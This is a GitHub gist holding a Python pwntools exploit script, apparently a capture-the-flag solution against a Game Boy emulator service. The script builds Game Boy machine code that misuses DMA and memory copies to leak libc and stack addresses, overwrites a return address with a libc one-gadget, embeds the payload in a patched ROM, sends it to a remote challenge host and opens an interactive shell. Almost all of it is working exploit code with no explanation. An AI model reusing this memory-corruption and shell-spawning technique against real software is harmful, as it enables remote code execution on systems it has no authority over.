Created
April 23, 2017 21:19
-
-
Save kokjo/44466fc6e3f224d8b70804a90e5baae3 to your computer and use it in GitHub Desktop.
Please don't judge!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
def ld_c(num): return [0x0e, num & 0xff] | |
def ld_a(num): return [0x3e, num & 0xff] | |
def ld_l(num): return [0x2e, num & 0xff] | |
def ld_h(num): return [0x26, num & 0xff] | |
def ld_ff_c_a(): return [0xe2] | |
def set_iomem(reg, val): return ld_c(reg & 0xff) + ld_a(val) + ld_ff_c_a() | |
def ld_a_hl_inc(): return [0x2a] | |
def adc_a_hl(): return [0x8e] | |
def inc_hl(): return [0x23] | |
def ld_a_bc(): return [0x0a] | |
def ld_a_de(): return [0x1a] | |
def ld_de_a(): return [0x12] | |
def ld_b_a(): return [0x47] | |
def ld_l_a(): return [0x6f] | |
def dec_l(): return [0x2d] | |
def dec_h(): return [0x25] | |
def adc_a_b(): return [0x88] | |
def add_a_b(): return [0x80] | |
def add_a_l(): return [0x85] | |
def adc_a_l(): return [0x8d] | |
def inc_bc(): return [0x03] | |
def inc_de(): return [0x13] | |
def ld_bc_a(): return [0x02] | |
def ld_hl(val): return [0x21, val & 0xff, val >> 8] | |
def ld_hl_imm(val): return [0x36, val & 0xff] | |
def ld_bc_imm(imm): return [0x01, imm & 0xff, imm >> 8] | |
def ld_de_imm(imm): return [0x11, imm & 0xff, imm >> 8] | |
def jr_nz(rel): return [0x20, rel & 0xff] | |
def halt(): return [0x76, 0x00] | |
def jmp(addr): return [0xc3, addr & 0xff, addr >> 8] | |
def magic1(): return [0xed] | |
# input: BC = ptr to 64bit int, DE = ptr to 64bit int | |
# output A, B, C, D, E, F garbage, and [BC] = [BC] + [DE] | |
def add64(): | |
code = [] | |
code += ld_a_bc() + ld_l_a() + ld_a_de() # A = first byte of [DE], B = first byte of [BC] | |
code += add_a_l() # A = A + B | |
code += ld_bc_a() # [BC] = A | |
code += inc_bc() + inc_de() # BC++ DE++ | |
for i in range(7): | |
code += ld_a_bc() + ld_l_a() + ld_a_de() | |
code += adc_a_l() # A = A + B + carry | |
code += ld_bc_a() # [BC] = A | |
code += inc_bc() + inc_de() # BC++ DE++ | |
return code | |
def add64(): | |
code = [] | |
code += ld_a_bc() + ld_l_a() + ld_a_de() # A = first byte of [DE], B = first byte of [BC] | |
code += add_a_l() # A = A + B | |
code += ld_bc_a() # [BC] = A | |
code += inc_bc() + inc_de() # BC++ DE++ | |
code += ld_h(0x07) | |
loop_label = len(code) | |
code += ld_a_bc() + ld_l_a() + ld_a_de() | |
code += adc_a_l() # A = A + B + carry | |
code += ld_bc_a() # [BC] = A | |
code += inc_bc() + inc_de() # BC++ DE++ | |
code += dec_h() | |
code += jr_nz(-(len(code)+2) + loop_label) | |
return code | |
def memcpy(dst, src, count): | |
code = [] | |
code += ld_bc_imm(src) | |
code += ld_de_imm(dst) | |
code += ld_l(count) | |
loop_label = len(code) | |
code += ld_a_bc() | |
code += ld_de_a() | |
code += inc_bc() | |
code += inc_de() | |
code += dec_l() | |
code += jr_nz(-(len(code)+2) + loop_label) | |
return code | |
def set_machine_pc(addr, newpc): | |
code = [] | |
code += ld_hl(addr+0x50) | |
code += ld_hl_imm(newpc & 0xff) | |
code += ld_hl(addr+0x51) | |
code += ld_hl_imm(newpc >> 8) | |
return code | |
def add_machine_memory(addr, const_id): | |
code = [] | |
code += ld_bc_imm(addr + 0x10) | |
code += ld_de_imm(const_id) | |
code += add64() | |
return code | |
def add_machine_sprites(addr, const_id): | |
code = [] | |
code += ld_bc_imm(addr + 0x18) | |
code += ld_de_imm(const_id) | |
code += add64() | |
return code | |
def breakpoint(): return [0x00] ## really a nop | |
code1 = [ld_c(-0x70), ld_a(0x80), magic1()] | |
code2 = [jmp(0x300)] | |
stack = 0x7fffffffe878 | |
base = 0x0300 | |
LIBC_BASE = 0x2000 | |
HEAP_BASE = 0x2008 | |
ENV_BASE = 0x2010 | |
MAGIC_POP_SHELL_GADGET = 0xd6e77 | |
#main = ordlist(read("../sdcc/main.bin")) | |
main = [] | |
#main += breakpoint() | |
main += memcpy(HEAP_BASE, 0x0010, 8) | |
main += memcpy(0x1000, 0x0000, 0xa0) | |
main += memcpy(0x3000, 0x0000, 0xa0) | |
main += set_machine_pc(0x3000, 0x0900) | |
# dma copy scout | |
main += ld_bc_imm(0x0018) | |
main += ld_de_imm(0x0700) | |
main += add64() | |
main += set_iomem(0xff46, 0x08) | |
# dma copy machine | |
main += ld_bc_imm(0x0018) | |
main += ld_de_imm(0x0708) | |
main += add64() | |
main += set_iomem(0xff46, 0x30) | |
main += set_machine_pc(0x1000, 0xfd00) | |
main += memcpy(0x1018, 0x1010, 8) | |
main += add_machine_memory(0x1000, 0x0710) | |
main += memcpy(0x0018, 0x0010, 8) | |
main += set_iomem(0xff46, 0x10) | |
label_main_callback1 = len(main) | |
main += ld_bc_imm(0x0078) | |
main += ld_de_imm(0x0718) | |
main += add64() | |
main += memcpy(LIBC_BASE, 0x0078, 8) | |
main += memcpy(0x0018, LIBC_BASE, 8) | |
main += add_machine_sprites(0x0000, 0x0720) | |
main += set_iomem(0xff46, 0x08) | |
main += add_machine_sprites(0x0000, 0x0708) | |
main += set_machine_pc(0x3000, 0x0903) | |
main += set_iomem(0xff46, 0x30) | |
main += memcpy(0x1010, LIBC_BASE, 8) | |
main += add_machine_memory(0x1000, 0x0720) | |
main += add_machine_memory(0x1000, 0x0728) | |
main += memcpy(0x0018, 0x0010, 8) | |
#main += breakpoint() | |
main += set_iomem(0xff46, 0x10) | |
label_main_callback2 = len(main) | |
main += memcpy(ENV_BASE, 0x0078, 8) | |
main += memcpy(0x0018, ENV_BASE, 8) | |
main += ld_bc_imm(LIBC_BASE) | |
main += ld_de_imm(0x0738) | |
main += add64() | |
main += memcpy(0xa00+152, LIBC_BASE, 8) | |
main += add_machine_sprites(0x0000, 0x0730) | |
print hex(len(main) + 0x300) | |
main += breakpoint() | |
main += set_iomem(0xff46, 0x0a) | |
main += breakpoint() | |
main += jmp(-2) | |
main_data = [ | |
p64(0x15d30), # 0x0700 -- will be added to sprites to reach where scout code will be placed | |
p64(0x100), # 0x0708 | |
p64(0x15eb0), # 0x0710 | |
p64(0xffffffffffc5a988), # offset from leaked pointer to libc base | |
p64(0x00000000003a7fb8+0x100), # environ offset from libc base | |
p64(0xffffffffffff0300), | |
p64((2**64) - 0x200 + 0x80 - 8), # 0x0730 | |
p64(MAGIC_POP_SHELL_GADGET) # offset somewhere in libc! | |
] | |
# scout = breakpoint() + [0x41]*0xa0 | |
scout = [] | |
scout += memcpy(0xfe78, 0xfc00, 8) | |
#scout += breakpoint() | |
scout += set_iomem(0xff46, 0xfe) | |
callback = [] | |
callback += jmp(label_main_callback1 + 0x300) | |
callback += jmp(label_main_callback2 + 0x300) | |
code1 = flat(code1, word_size = 8) | |
code2 = flat(code2, word_size = 8) | |
main = flat(main, word_size = 8) | |
#print hex(len(main) + 0x300) | |
print hexdump(main) | |
main = main.ljust(0x700-0x300) | |
main += flat(main_data, word_size = 8) | |
main = main.ljust(0x800-0x300) | |
main += flat(scout, word_size = 8) | |
main = main.ljust(0x900-0x300) | |
main += flat(callback, word_size = 8) | |
main = main.ljust(0xa00-0x300) | |
main += flat(cyclic(256), word_size = 8) | |
rom = read("APOCNOW.GB") | |
rom = rom[:256] + code1 + rom[256 + len(code1):] | |
rom = rom[:128 + len(code1)] + code2 + rom[128 + len(code1) + len(code2):] | |
rom = rom[:0x280] + main + rom[0x280 + len(main):] | |
write("DOIT.BG", rom) | |
#r = remote("127.0.0.1", 1337) | |
#r = process("./gameboy", aslr=False) | |
r = remote("gameboy.chal.pwning.xxx", 30908) | |
#gdb.attach(r, """ | |
# set $base=0x0000555555554000 | |
# b *($base + 0x118d) | |
# b *($base + 0x2CF5) | |
# b *($base + 0x32D4) | |
# c | |
# disable 1 | |
# c | |
# enable 1 | |
#""") | |
r.send(rom) | |
pause() | |
sleep(1) | |
r.send("q") | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment